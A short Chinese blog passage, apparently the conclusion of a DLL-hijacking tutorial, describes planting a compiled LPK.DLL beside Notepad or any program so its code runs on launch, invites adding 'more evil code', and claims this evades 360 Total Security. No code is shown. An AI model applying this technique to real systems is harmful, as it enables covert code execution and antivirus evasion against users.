我们用弹出一个对话框来检测一下劫持的效果,当然你也可以加入更加邪恶的代码。猫癣、犇牛等病毒都是利用DLL劫持技术破坏系统的。看一下效果。将编译好的LPK.DLL复制到记事本相同目录,然后运行记事本程序。看看是不是弹出来可爱的测试窗?&当然你也可以将这个LPK.DLL复制到任何程序的目录,只要该目录的程序一运行,就会执行我们的代码。如果代码的功能是连续弹出N个测试窗,我想一定会让人很崩溃。DLL劫持技术的基本原理和简单实现就讲到这里了。在测试的时候发现360安全卫士并没有拦截我们的代码,看来利用DLL劫持是可以过360检测的。
阅读(...) 评论()

我要回帖

更多关于 stm32 adc注入组例程 的文章

 

随机推荐